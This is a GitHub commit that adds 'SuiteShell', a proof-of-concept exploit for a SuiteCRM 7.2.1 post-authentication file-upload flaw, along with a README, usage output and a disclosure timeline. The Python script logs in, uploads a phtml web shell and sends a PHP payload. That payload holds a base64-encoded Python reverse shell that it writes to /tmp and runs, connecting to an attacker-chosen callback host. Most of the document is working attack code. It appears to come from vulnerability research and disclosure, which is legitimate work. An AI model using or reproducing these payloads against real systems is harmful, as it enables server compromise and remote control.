Skip to content

Commit c3deb82

Browse files
author
David Davidson
committed
Add SuiteShell
1 parent 72772b5 commit c3deb82

File tree

5 files changed

+173
-0
lines changed

5 files changed

+173
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ Miscellaneous proof of concept exploit code written at Xiphos Research for testi
1313
* nmediapwn - Wordpress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
1414
* pwnflow - Wordpress Work the flow file upload 2.5.2 Shell Upload
1515
* delusions - Wordpress InfusionSoft Gravity Forms Shell Upload (CVE-2014-6446)
16+
* suiteshell - SuiteCRM Post-Auth Remote Code Execution (CVE-2015-NOTYET)
1617
* TBA
1718

1819
## Infrequently Asked Questions.

suiteshell/README.md

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
# Exploit for SuiteCRM Post-Authentication Shell Upload
2+
SuiteCRM suffers a post-authentication shell upload vulnerability in its "Upload Company Logo" functionality, wherin it uses a blacklist in an attempt to prevent the upload of executable code. Furthermore, its "check for valid image" test leaves uploaded files in a tempdir that is web accessible. It is possible to bypass the blacklist to upload executable PHP code with the "phtml" extension to this temporary directory and thus gain code execution under the context of the webserver user on the affected system. This vulnerability was discovered by Darren Martyn of Xiphos Research Ltd. while assessing the SuiteCRM software. The version tested was "suitecrm-7.2.1-max", as available on the SuiteCRM website on the 5/5/2015.
3+
4+
## Usage
5+
6+
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the
7+
"payload.php". You also must specify a callback host and port, along with the URL to the vulnerable SuiteCRM installation, and a valid username and password for an administrative
8+
user.
9+
10+
Example Use:
11+
```
12+
xrl:~$ python2 suiteshell.py http://192.168.2.111/suitecrm-7.2.1-max/ admin admin back_python.php 192.168.2.116 1337
13+
14+
███████╗██╗ ██╗██╗████████╗███████╗███████╗██╗ ██╗███████╗██╗ ██╗
15+
██╔════╝██║ ██║██║╚══██╔══╝██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
16+
███████╗██║ ██║██║ ██║ █████╗ ███████╗███████║█████╗ ██║ ██║
17+
╚════██║██║ ██║██║ ██║ ██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
18+
███████║╚██████╔╝██║ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
19+
╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
20+
Exploit for SuiteCRM Post-Auth Shell Upload Version: 20150512.1
21+
{+} Logging into the CRM...
22+
{+} Uploading our shell...
23+
{+} Probing for our shell...
24+
{+} Shell located and functioning at http://192.168.2.111/suitecrm-7.2.1-max/upload/tmp_logo_company_upload/suiteshell.phtml
25+
{*} Sending our payload...
26+
{+} Using 192.168.2.116:1337 as callback...
27+
{+} Dropping shell...
28+
{+} Shell dropped... Triggering...
29+
{+} got shell?
30+
xrl:~$
31+
```
32+
Listener (I suggest using the [tcp-pty-shell-handler][shellhandle]):
33+
```
34+
xrl:~$ python2 /tmp/testing/python-pty-shells/tcp_pty_shell_handler.py -b 0.0.0.0:1337
35+
Got root yet?
36+
Linux hackthecrm 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux
37+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
38+
<suitecrm-7.2.1-max/upload/tmp_logo_company_upload$ cat suiteshell.phtml
39+
<?php @assert(filter_input(0,woot,516)); ?>
40+
<suitecrm-7.2.1-max/upload/tmp_logo_company_upload$
41+
```
42+
43+
## Screenshot
44+
![lol shell](https://raw.githubusercontent.com/XiphosResearch/exploits/master/suiteshell/screenshot/SuiteShell.png)
45+
46+
## Disclosure Timeline:
47+
* 05/05/2015: Vulnerability discovered and validated. SuiteCRM contacted via twitter asking for a security contact.
48+
* 06/05/2015: SuiteCRM provide security contact, vulnerability details sent.
49+
* 06/05/2015: SuiteCRM respond and let me know I will be kept in the loop.
50+
* 12/05/2015: No contact from SuiteCRM, automated PoC exploit written and provided along with notification of intent to request a CVE on 20/05/2015
51+
* 20/05/2015: Deadline expires. Publish PoC and request CVE.
52+
53+
## Licence
54+
Licenced under the [WTFPL][wtfpl]
55+
56+
[wtfpl]: http://www.wtfpl.net/
57+
[shellhandle]: https://github.com/infodox/python-pty-shells

suiteshell/back_python.php

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
<?php
2+
$cbhost = $_COOKIE['host'];
3+
$cbport = $_COOKIE['port'];
4+
echo "{+} Using ".$cbhost.":".$cbport." as callback...\n{+} Dropping shell...\n";
5+
$shell =
6+
"IyEvdXNyL2Jpbi9weXRob24yCiMgY29kaW5nOiB1dGYtOAojIFNlbGYgRGVzdHJ1Y3RpbmcsIERhZW1vbmluZyBSZXZlcnNlIFBUWS4KIyBybSdzIHNlbGYgb24gcXVpdCA6MwojIFRPRE86CiMgMTogQWRkIGNyeXB0bwojIDI6IEFkZCBwcm9jbmFtZSBzcG9vZgppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcHR5CmltcG9ydCBzb2NrZXQKaW1wb3J0IGNvbW1hbmRzCgpzaGVsbG1zZyA9ICJceDFiWzBtXHgxYlsxOzM2bUdvdCByb290IHlldD9ceDFiWzBtXHJcbiIgIyBuZWVkeiBhc2NpaQoKZGVmIHF1aXR0ZXIobXNnKToKICAgIHByaW50IG1zZwogICAgb3MudW5saW5rKG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykpICMgdW5jb21tZW50IGZvciBnb2dvc2VsZmRlc3RydWN0CiAgICBzeXMuZXhpdCgwKQoKZGVmIHJldmVyc2UoY2Job3N0LCBjYnBvcnQpOgogICAgdHJ5OgogICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgaWQgPSBjb21tYW5kcy5nZXRvdXRwdXQoImlkIikKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcXVpdHRlcignZ3JhYiB1bmFtZS9pZCBmYWlsJykKICAgIHRyeToKICAgICAgICBzb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suY29ubmVjdCgoY2Job3N0LCBpbnQoY2Jwb3J0KSkpCiAgICBleGNlcHQ6CiAgICAgICAgcXVpdHRlcignYWJvcnQ6IGNvbm5lY3Rpb24gZmFpbCcpCiAgICB0cnk6CiAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICBleGNlcHQ6CiAgICAgICAgcXVpdHRlcignYWJvcnQ6IGR1cDIgZmFpbCcpCiAgICB0cnk6CiAgICAgICAgb3MucHV0ZW52KCJISVNURklMRSIsICIvZGV2L251bGwiKQogICAgICAgIG9zLnB1dGVudigiUEFUSCIsICcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOi9iaW46L3Vzci9sb2NhbC9iaW46L3Vzci9iaW4nKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdhYm9ydDogcHV0ZW52IGZhaWwnKQogICAgdHJ5OgogICAgICAgIHNvY2suc2VuZChzaGVsbG1zZykKICAgICAgICBzb2NrLnNlbmQoJ1x4MWJbMTszMm0nK3VuYW1lKyJcclxuIitpZCsiXHgxYlswbVxyXG4iKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdzZW5kIGlkL3VuYW1lIGZ1Y2t1cCcpCiAgICB0cnk6CiAgICAgICAgcHR5LnNwYXduKCcvYmluL2Jhc2gnKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdhYm9ydDogcHR5IHNwYXduIGZhaWwnKQogICAgcXVpdHRlcigncXVpdHRpbmcsIGNsZWFudXAnKQoKZGVmIG1haW4oYXJncyk6CiAgICBpZiBvcy5mb3JrKCkgPiAwOiAKICAgICAgICBvcy5fZXhpdCgwKQogICAgcmV2ZXJzZShzeXMuYXJndlsxXSwgc3lzLmFyZ3ZbMl0pCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbihzeXMuYXJndikK";
7+
$x = fopen("/tmp/x", "w+");
8+
fwrite($x, base64_decode($shell));
9+
fclose($x);
10+
echo "{+} Shell dropped... Triggering...\n";
11+
system("python /tmp/x ".$cbhost." ".$cbport);
12+
die('{+} got shell?'); // payload should have rm'd itself
13+
?>

suiteshell/screenshot/SuiteShell.png

158 KB
Loading

suiteshell/suiteshell.py

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
#!/usr/bin/python2
2+
# coding: utf-8
3+
# Author: Darren Martyn, Xiphos Research Ltd.
4+
# Version: 20150512.1
5+
# Licence: WTFPL - wtfpl.net
6+
import requests
7+
import sys
8+
__version__ = "20150512.1"
9+
10+
def banner():
11+
print """\x1b[1;32m
12+
███████╗██╗ ██╗██╗████████╗███████╗███████╗██╗ ██╗███████╗██╗ ██╗
13+
██╔════╝██║ ██║██║╚══██╔══╝██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
14+
███████╗██║ ██║██║ ██║ █████╗ ███████╗███████║█████╗ ██║ ██║
15+
╚════██║██║ ██║██║ ██║ ██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
16+
███████║╚██████╔╝██║ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
17+
╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
18+
Exploit for SuiteCRM Post-Auth Shell Upload Version: %s\x1b[0m""" %(__version__)
19+
20+
21+
def upload_shell(base_url, username, password):
22+
url = base_url + "index.php"
23+
s = requests.Session()
24+
data = {'module': 'Users',
25+
'action': 'Authenticate',
26+
'return_module': 'Users',
27+
'return_action': 'Login',
28+
'cant_login': '',
29+
'login_module': '',
30+
'login_action': '',
31+
'login_record': '',
32+
'login_token': '',
33+
'login_oauth_token': '',
34+
'login_mobile': '',
35+
'login_language': 'en_us',
36+
'user_name': username,
37+
'user_password': password,
38+
'Login': 'Log In'}
39+
print "\x1b[1;32m{+} Logging into the CRM...\x1b[0m"
40+
try:
41+
r = s.post(url=url, data=data)
42+
except Exception, e:
43+
sys.exit("\x1b[1;31m{-} Something failed. Stacktrace coming...\n\x1b[0m %s" %(str(e)))
44+
if r.status_code == 200:
45+
pass
46+
else:
47+
sys.exit("\x1b[1;31m{-} Something went wrong...\x1b[0")
48+
files={"file_1":("suiteshell.phtml", "<?php @assert(filter_input(0,woot,516)); ?>")}
49+
data = {'entryPoint': 'UploadFileCheck',
50+
'forQuotes': 'false'}
51+
print "\x1b[1;32m{+} Uploading our shell...\x1b[0m"
52+
try:
53+
r = s.post(url=url, data=data, files=files)
54+
except Exception, e:
55+
sys.exit("\x1b[1;31m{-} Something failed. Bollocks. Stacktrace coming...\n\x1b0m %s" %(str(e)))
56+
if r.status_code == 200:
57+
pass
58+
else:
59+
sys.exit("\x1b[1;31m{-} Something went wrong...\x1b[0m")
60+
shell_url = base_url + "upload/tmp_logo_company_upload/suiteshell.phtml"
61+
print "\x1b[1;32m{+} Probing for our shell...\x1b[0m"
62+
try:
63+
r = s.post(url=shell_url, data={"woot": "eval(base64_decode('ZWNobyBtZDUoJ3B3bmVkJyk7'))"})
64+
except Exception, e:
65+
sys.exit("\x1b[1;31m{-} Could not connect to shell... printing backtrace...\n\x1b[0m %s" %(str(e)))
66+
if "5e93de3efa544e85dcd6311732d28f95" in r.text:
67+
print "\x1b[1;32m{+} Shell located and functioning at %s\x1b[0m" %(shell_url)
68+
return shell_url
69+
else:
70+
sys.exit("\x1b[1;31m{-} Could get response from the shell. Bailing...\x1b[0m")
71+
72+
def php_encoder(php):
73+
f = open(php, "r").read()
74+
f = f.replace("<?php", "")
75+
f = f.replace("?>", "")
76+
encoded = f.encode('base64')
77+
encoded = encoded.replace("\n", "")
78+
encoded = encoded.strip()
79+
code = "eval(base64_decode('%s'));" %(encoded)
80+
return code
81+
82+
def spawn_backconnect(shell_url, payload, cb_host, cb_port):
83+
cookies = {'host': cb_host, 'port': cb_port}
84+
data = {'woot': payload}
85+
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0'}
86+
try:
87+
print "\x1b[1;32m{*} Sending our payload...\x1b[0m"
88+
r = requests.post(url=shell_url, data=data, headers=headers, verify=False, cookies=cookies)
89+
except Exception, e:
90+
sys.exit("\x1b[1;31m{-} Exception hit, printing stack trace...\n%s\x1b[0m" %(str(e)))
91+
if r.text:
92+
print r.text
93+
94+
def main(args):
95+
banner()
96+
if len(args) != 7:
97+
sys.exit("usage: %s <base url> <username> <password> <payload> <connectback host> <connectback port>" %(args[0]))
98+
shell_url = upload_shell(base_url=args[1], username=args[2], password=args[3])
99+
spawn_backconnect(shell_url, payload=php_encoder(args[4]), cb_host=args[5], cb_port=args[6])
100+
101+
if __name__ == "__main__":
102+
main(args=sys.argv)

0 commit comments

Comments
 (0)